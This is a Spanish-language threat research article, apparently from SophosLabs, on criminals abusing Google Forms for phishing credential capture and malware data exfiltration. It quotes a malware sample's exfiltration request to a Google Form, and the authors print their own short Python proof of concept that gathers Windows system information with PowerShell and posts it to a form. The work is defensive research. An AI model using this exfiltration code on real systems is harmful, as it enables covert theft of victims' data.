A principios de este año, mientras investigábamos el uso del malware de TLS para ocultar el comando y controlar el tráfico y las descargas, encontramos una cantidad desproporcionada de tráfico que se dirigía hacia los servicios en la nube de Google. Entre los destinos que encontramos en la telemetría se encuentran una gran cantidad de formularios de Google.
El abuso de los servicios legítimos de la nube pública por parte del malware no es nada nuevo. Hemos visto que el malware usa Google Docs y Google Sheets como parte de su cadena de infección y sistemas de comando y control en el pasado, de la misma manera que utilizan servicios como GitHub, Pastebin, Telegram y Discord. En cada caso, los actores malintencionados utilizan las interfaces basadas en la web del servicio para recuperar binarios almacenados, recuperar datos específicos que afectan su rendimiento, informar de los resultados de la ejecución o extraer datos de los sistemas infectados. Dado que los formularios de Google están protegidos por TLS, el contenido de los datos enviados a los formularios no se puede verificar sin el uso de un proxy web y, por lo demás, el tráfico parece comunicaciones legítimas a una aplicación de Google.
El abuso de Google Forms se presenta de distintas formas. En algunos casos, los formularios de Google se utilizaron en ataques de phishing rudimentarios, intentando convencer a las víctimas de que introdujeran sus credenciales en un formulario diseñado para parecerse a una página de inicio de sesión (a pesar de que el texto de Formularios de Google en cada formulario advierte a los usuarios que no introduzcan contraseñas). A menudo, estos formularios estaban vinculados a campañas de spam maliciosas.
También descubrimos una serie de aplicaciones maliciosas de Android que hacían uso de Google Forms para elementos de la interfaz de usuario (aunque no con fines maliciosos). Y luego hubo algunos ejemplos de aplicaciones maliciosas de Windows que usaron solicitudes web a las páginas de Google Forms para exfiltrar datos. Para fines de demostración, reproducimos la capacidad de exfiltración en un script de Python utilizando solicitudes web diseñadas para enviar datos del sistema a una hoja de cálculo de Google a través de formularios para su agregación.
Enseñar a un ciberdelincuente a hacer phishing
Los ataques de phishing web más sofisticados utilizan HTML que imita fielmente el diseño de los sitios de los servicios a los que intentan suplantar. Pero los estafadores con pocos conocimientos pueden usar y usan las plantillas de diseño listas para usar de Google Forms para intentar robar datos de pago a través de páginas de comercio electrónico “seguras” falsas, o crear formularios de phishing que sean creíbles si no se examinan demasiado de cerca.
Una de las fuentes más importantes de enlaces de formularios de Google en el correo no deseado fueron los enlaces de “cancelación de suscripción” en los correos electrónicos de marketing fraudulento. Pero Sophos ha interceptado una serie de campañas de phishing basadas en spam dirigidas a cuentas en línea de Microsoft, incluido Office 365, con el mínimo esfuerzo. El correo no deseado afirmaba que las cuentas de correo electrónico de los destinatarios estaban a punto de cerrarse si no se verificaban de inmediato, y ofrecía un enlace para realizar esa verificación: un enlace a Google Forms, que conducía a un formulario decorado con gráficos de Microsoft pero que seguía siendo claramente un formulario de Google.
Este correo electrónico está dirigido a usuarios de Outlook.com y Hotmail:
Si se hace clic en el enlace “update now” se llega al siguiente formulario de Google:
Una campaña similar de spam estaba dirigida a usuarios de Office 365 con un señuelo muy básico:
La página de phishing a la que se llegaba a través del enlace era igual de básica:
En ambos casos, cualquier dato introducido en estos formularios se almacena en un documento de Google Sheets, listo para ser exportado por el operador de la campaña de phishing. Debido a que los enlaces son a docs.google.com/forms, y dicen “Formularios de Google” en la parte inferior, además de la advertencia “Nunca envíes contraseñas a través de Formularios de Google”, se distinguen fácilmente como estafas. Aún así, aparentemente funcionan con la frecuencia suficiente para garantizar su uso continuo por parte de estafadores que roban cuentas de correo electrónico comerciales y personales.
Software malicioso y aplicaciones potencialmente no deseadas
En nuestra investigación se descubrieron varios paquetes de aplicaciones de Android probablemente maliciosos que utilizan Google Forms como una forma de capturar datos sin tener que codificar un sitio web de back-end. La mayoría eran aplicaciones potencialmente no deseadas o aplicaciones que usaban componentes asociados con software publicitario de Android, y usaban Google Forms en gran medida como parte de su funcionalidad de cara al usuario. Por ejemplo, SnapTube, una aplicación de video que se monetiza a través del fraude publicitario en la web, incluye una página de Google Forms para los comentarios de los usuarios:
En estos casos, se muestra la página de Google Forms. Sin embargo, descubrimos algunas aplicaciones potencialmente no deseadas dirigidas a usuarios de Windows que usaban las páginas de Google Forms de forma subrepticia, reuniendo solicitudes web mediante programación y enviando datos sin la interacción del usuario. También encontramos evidencia de scripts de PowerShell que interactúan con Google Forms en nuestra telemetría.
Una muestra que observamos utilizando explícitamente Google Forms para la exfiltración de datos fue un ejecutable llamado checkbrowser.exe. Este archivo fue entregado desde un dominio que parece haber alojado un blog de WordPress en italiano comprometido (tecnopc.info). Es un script compilado de AutoIT; cuando se ejecuta, el programa modifica la lista de certificados de confianza de Windows, realiza cambios relacionados con la API del Servicio de acceso remoto y elimina la configuración del registro de Windows relacionada con la configuración del proxy de Internet y otras políticas de seguridad de Internet.
Además de estas cosas, la secuencia de comandos AutoIT también recopila datos del sistema, incluida la configuración del idioma, la configuración del ratón y el nombre de la máquina. Estos parecen ser parte de la evasión del sandbox y para evitar la ejecución en ciertas configuraciones regionales. Luego exporta cierta información del sistema a través de una solicitud HTTP segura a docs.google.com que toma el formato de un envío de formularios de Google.
Interceptamos la solicitud usando Fiddler y pudimos obtener el URI para el formulario. Tras reformatear un poco la solicitud pudimos echarle un vistazo al formulario en sí:
Los campos del formulario (“nombre del cliente”, nombre del ordenador, nombre de usuario, versión del sistema operativo, versión de Internet Explorer) coinciden con el contenido de la solicitud POST enviada al formulario:
GET /forms/d/16LSwmJnCIOAuNnOD631ki0wfe_4eu_PWMbCEI_6Uh24/formResponse?entry.1633051194=[user name if detected]&entry.1018322823=[computer name]&entry.328100715=[user name]&entry.1878239517=[Windows version]&entry.1356961775=[Internet Explorer version number] HTTP/1.1
Los números de cada entrada en la solicitud GET coinciden con los números asociados con los contenedores para cada campo en el formulario remoto, como parte de una matriz que contiene los parámetros para el objeto de formulario. Por ejemplo, la etiqueta <div> que rodea la entrada para “nombre del cliente” es:
<div jsmodel="CP1oW" data-params="%.@.[321264449,"Nome Cliente";,null,0,[[1633051194,[],false,[],[],null,null,null,null,null,[null,[]]]],null,null,null,[]]......
El primer elemento de la matriz es el ID de entrada, 1633051194, que coincide con el parámetro en la solicitud GET. En los casos que observamos y en nuestras pruebas, el valor de este campo siempre fue “Sconosciuto” (italiano para “desconocido”).
Una estrategia similar en otro malware que encontramos usando un formulario de Google en ruso para la exfiltración usó un comando curl para ejecutar la publicación, enviaba el adaptador de video, la resolución de la pantalla y los datos del procesador.
Lanza tu propia exfiltración con Google Forms
Para ayudarnos a entender cómo detener este tipo de abuso de Google Forms, decidimos hacer algunas pruebas por nuestra cuenta. Todo lo que se requiere es una cuenta de Google, un formulario diseñado específicamente y un código para capturar los datos del sistema local y pegarlos en una solicitud POST de HTML.
Creé un formulario con mi cuenta de Google y luego lo abrí con las herramientas de desarrollador de Firefox para identificar los números de identificación de entrada del formulario. A
Para obtener el formato de envío del formulario real, introducimos algunos datos de prueba y vimos los datos desde la consola de Firefox:
Los únicos datos necesarios del formulario son los que se denominan “entry.[number]”; no es necesario incluir los demás en su solicitud POST.
Con los ID de entrada del formulario adecuados identificados, escribimos una secuencia de comandos rápida de Python para extraer información del sistema de Windows y volcarla en el formulario. Usando la biblioteca de subprocesos de Python, pasamos algunos comandos de PowerShell al sistema operativo:
import requests, os, sys, subprocess result1 = subprocess.run('powershell Get-ComputerInfo "*version"', stdout=subprocess.PIPE) result2 = subprocess.run('powershell Get-CimInstance -ClassName Win32_ComputerSystem', stdout=subprocess.PIPE) result3 = subprocess.run('powershell whoami', stdout=subprocess.PIPE) url = 'https://docs.google.com/forms/d/e/[Google Forms app ID]/formResponse' exfil = {'entry.[first entry ID number]': result1, 'entry.[second entry ID number]' : result2, 'entry.[third entry ID number]' : result3} x = requests.post(url, data = exfil) print(x.text)
El comando de impresión devuelve el resultado HTML del POST.
Los datos pasados al formulario se pueden ver en la hoja de cálculo asociada:
Con solo unas pocas líneas de código, tenía una herramienta de exfiltración funcional (muy básica). Esto se podría ejecutar fácilmente por completo en PowerShell o en cualquier otro lenguaje de secuencias de comandos.
Facilidad de uso indebido
Si bien la gran mayoría del abuso de Google Forms permanece en el espacio de spam de fraude y phishing de bajo nivel, el potencial para su uso en la exfiltración de datos y el comando y control de malware sigue siendo alto, aunque solo sea porque es muy fácil de implementar. Si bien Google cierra con frecuencia las cuentas asociadas con el abuso de gran volumen de aplicaciones, incluidos los formularios, el uso selectivo de formularios por parte del malware podría pasar desapercibido.
Hemos visto un creciente abuso de Google y otros servicios legítimos en la nube por parte de los ciberdelincuentes, y es fácil entender por qué: las organizaciones confían ampliamente en ellos, están protegidos con TLS y, en esencia, son una infraestructura gratuita.
Los productos de Sophos protegen contra la mayoría de los spam maliciosos que llevan campañas de phishing basadas en formularios y detectan los comportamientos de recopilación y exfiltración de información del sistema dentro de la técnica utilizada en el malware y la muestra que se analizan aquí. Pero los usuarios de correo electrónico deben permanecer atentos a los intentos de utilizar enlaces a Google Forms (u otros servicios legítimos) para obtener credenciales. Y las organizaciones no deben confiar intrínsecamente en el tráfico TLS a dominios “conocidos como buenos”, como docs.google.com.
SophosLabs agradece a Jagadeesh Chandaraiah por su contribución a este informe